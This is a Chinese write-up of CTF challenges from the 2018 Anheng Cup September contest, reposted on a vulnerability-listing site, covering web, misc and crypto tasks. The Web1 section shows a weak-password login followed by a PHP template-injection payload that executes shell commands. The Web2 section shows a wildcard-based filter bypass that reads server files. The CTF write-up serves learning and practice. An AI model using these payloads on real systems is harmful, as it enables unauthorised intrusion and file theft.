CVE漏洞中文网

0DayBank一个专门收集整理全球互联网漏洞的公开发布网站
  1. 首页
  2. 漏洞列表
  3. 正文

一叶飘零

2018年11月25日 1258点热度 0人点赞 0条评论

一叶飘零
首页
文章

漏洞
SRC导航
内容精选

输入关键词搜索

APP 登录| 注册
2018安恒杯 - 9月月赛Writeup
阅读量 147229 | 评论 6 稿费 300

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
发布时间:2018-09-24 10:00:59

前言
中秋放假,做了一下安恒月赛,记录一下题解

Web1
首先弱密码爆进后台

admin
admin123
看到突兀的字体

一看就是出题人留下的了

探寻了一遍功能

发现添加图片处也有这种字体

很容易联想到漏洞点,于是开始代码审计

下载

http://101.71.29.5:10013/web/You_Cant_Guess.zip
定位到图片位置

public function actionShow(){
$template = '

图片内容为:

图片ID:{cms:id}
图片名称:{cms:name}
图片地址:{cms:pic}';
if (isset($_GET['id'])) {
$model = new Content();
$res = $model->find()->where(['id' =>intval($_GET['id'])])->one();
$template = str_replace("{cms:id}",$res->id,$template);
$template = str_replace("{cms:name}",$res->name,$template);
$template = str_replace("{cms:pic}",$res->url,$template);
$template = $this->parseIf($template);
echo $template;
}else{
return json_encode(['error'=>'id error!']);
}
}
跟进函数parseIf

参考文章

https://www.anquanke.com/post/id/153402
我们添加图片为

skysec
{if:1)$GLOBALS['_G'.'ET'][sky]($GLOBALS['_G'.'ET'][cool]);die();//}{end if}
然后访问

http://101.71.29.5:10013/web/index.php?r=content%2Fshow&id=1919&sky=system&cool=ls
即可列目录

拿flag即可

flag{65bb1dd503d2a682b47fde40571598f4}

Web2
拿到题目

http://101.71.29.5:10014/
代码如下

35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
发现字母啥都被过滤了,第一反应就是通配符,容易想到

/???/??? => /bin/cat
那么构造

$_=`/???/???%20/???/???/????/?????.???`;?>
"/bin/cat /var/www/html/index.php"
长度超过了上限

参考这篇文章

https://www.anquanke.com/post/id/154284
使用*通配

$_=`/???/???%20/???/???/????/*`;?>
但是没有$和_
改进为

?>
得到

发现关键点

function getFlag(){
$flag = file_get_contents('/flag');
echo $flag;
}
我们直接读flag文件就好

?>

得到flag

flag{aa5237a5fc25af3fa07f1d724f7548d7}

Misc1
下载用winrar打开

很明显的长度为6的CRC32

我们用工具爆破一下

得到压缩包密码

forum_91ctf_com_66
解密后得到

我们n2s转成字符串,得到

扫描得到flag

flag{owid0-o91hf-9iahg}

Misc2
拿到题目是张图片,binwalk跑了一下发现了压缩包

提取出来需要密码解压,尝试了各种方法,最后竟然是修改图片高度,太脑洞了吧???

将原来的044C改为04FF,即可

解压后得到一个压缩包,本能的导出html对象

浏览一遍,发现可疑字符串,解base64,得到flag

flag{Oz_4nd_Hir0_lov3_For3ver}

Crypto1
这题略带脑洞,解压出的密文为

ilnllliiikkninlekile
长度为20

并且发现提示

The length of this plaintext: 10
密文长度是明文的2倍,然后密文只有5个字母出现,本能想到多表加密,但是不知道表的边缘的排序方式
例如:

ilnke
iklne
.....
因为排序规则不同,就涉及对应的字母不同,所以这里我选择爆破一发

import itertools

key = []
cipher = "ilnllliiikkninlekile"

for i in itertools.permutations('ilnke', 5):
key.append(''.join(i))

for now_key in key:
solve_c = ""
res = ""
for now_c in cipher:
solve_c += str(now_key.index(now_c))
for i in range(0,len(solve_c),2):
now_ascii = int(solve_c[i])*5+int(solve_c[i+1])+97
if now_ascii>ord('i'):
now_ascii+=1
res += chr(now_ascii)
if "flag" in res:
print now_key,res
得到结果

linke flagishere
linek flagkxhdwd
一看就是第一个,结果交了不对。。。
后来发现要交md5,得到flag

flag{eedda7bea3964bfb288ca6004a973c2a}

Crypto2
拿到题目

#!/usr/bin/env python
# -*- coding:utf-8 -*-
from Crypto.Cipher import AES
from Crypto import Random

def encrypt(data, password):
bs = AES.block_size
pad = lambda s: s + (bs - len(s) % bs) * chr(bs - len(s) % bs)
iv = "0102030405060708"
cipher = AES.new(password, AES.MODE_CBC, iv)
data = cipher.encrypt(pad(data))
return data

def decrypt(data, password):
unpad = lambda s : s[0:-ord(s[-1])]
iv = "0102030405060708"
cipher = AES.new(password, AES.MODE_CBC, iv)
data = cipher.decrypt(data)
return unpad(data)

def generate_passwd(key):
data_halt = "LvR7GrlG0A4WIMBrUwTFoA==".decode("base64")
rand_int = int(decrypt(data_halt, key).encode("hex"), 16)
round = 0x7DC59612
result = 1
a1 = 0
while a1 < round: a2 = 0 while a2 < round: a3 = 0 while a3 < round: result = result * (rand_int % 0xB18E) % 0xB18E a3 += 1 a2 += 1 a1 += 1 return encrypt(str(result), key) if __name__ == '__main__': key = raw_input("key:") if len(key) != 32: print "check key length!" exit() passwd = generate_passwd(key.decode("hex")) flag = raw_input("flag:") print "output:", encrypt(flag, passwd).encode("base64") # key = md5(sha1("flag")) # output = "u6WHK2bnAsvTP/lPagu7c/K3la0mrveKrXryBPF/LKFE2HYgRNLGzr1J1yObUapw" 我们不难看出这题的难点应该在于generate_passwd()了吧,加解密函数都给你写好了,调用就行,我们仔细观察这个generate_passwd() def generate_passwd(key): data_halt = "LvR7GrlG0A4WIMBrUwTFoA==".decode("base64") rand_int = int(decrypt(data_halt, key).encode("hex"), 16) round = 0x7DC59612 result = 1 a1 = 0 while a1 < round: a2 = 0 while a2 < round: a3 = 0 while a3 < round: result = result * (rand_int % 0xB18E) % 0xB18E a3 += 1 a2 += 1 a1 += 1 return encrypt(str(result), key) 看起来很复杂,还有3层循环,但仔细抓住result,发现其值一定小于0xB18E 那么爆破即可 output = "u6WHK2bnAsvTP/lPagu7c/K3la0mrveKrXryBPF/LKFE2HYgRNLGzr1J1yObUapw" key = md5(sha1("flag")) for result in range(0xB18E): passwd = generate_passwd(key.decode("hex"),result) r = decrypt(output.decode("base64"), passwd) if 'flag' in r: print r 拿到flag flag{552d3a0e567542d99694c4d61d1a652e} 本文由安全客原创发布 转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/160582 安全客 - 有思想的安全新媒体 CTF writeup 一叶飘零 认证 分享到: QQ空间 新浪微博 微信 QQ facebook twitter |推荐阅读 U2F安全协议分析 2018-11-24 10:00:48 二十年重回首——CIH病毒源码分析 2018-11-23 15:20:19 Cookie Maker:隐藏在Google Docs中的恶意网络 2018-11-23 14:30:40 情报分析与研判之图片信息挖掘(1) 2018-11-23 10:00:17 |发表评论 发表你的评论吧 昵称 土司观光团 换一个 |评论列表 加载更多 一叶飘零 个人博客:skysec.top 文章 46 粉丝 64 TA的文章 当中国剩余定理邂逅RSA 2018-11-21 15:50:18 session_start()&bestphp 2018-11-19 09:39:33 一题三解之2018HCTF&admin 2018-11-13 10:30:05 用sqlmap解题2018HCTF-Kzone 2018-11-12 14:59:27 2018护网杯-web部分题解 2018-10-14 11:11:41 输入关键字搜索内容 相关文章 2018年“柏鹭杯”大学生网络空间安全精英赛报名启动啦!快来参赛吧~ LCTF2018-easypwn-详细解析 通过一道pwn题探究_IO_FILE结构攻击利用 对文件上传的一些思考和总结 2018湖湘杯复赛-WriteUp session_start()&bestphp CTF pwn 中最通俗易懂的堆入坑指南 热门推荐 文章目录 前言 Web1 Web2 Misc1 Misc2 Crypto1 Crypto2 安全客Logo 安全客 安全客 关于我们 加入我们 联系我们 用户协议 商务合作 合作内容 联系方式 友情链接 内容须知 投稿须知 转载须知 合作单位 安全客 安全客 Copyright © 360网络攻防实验室 All Rights Reserved 京ICP备08010314号-66 0daybank

标签: 暂无
最后更新:2018年11月25日

小助手

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

您需要 登录 之后才可以评论

COPYRIGHT © 2024 www.pdr.cn CVE漏洞中文网. ALL RIGHTS RESERVED.

鲁ICP备2022031030号

联系邮箱:wpbgssyubnmsxxxkkk@proton.me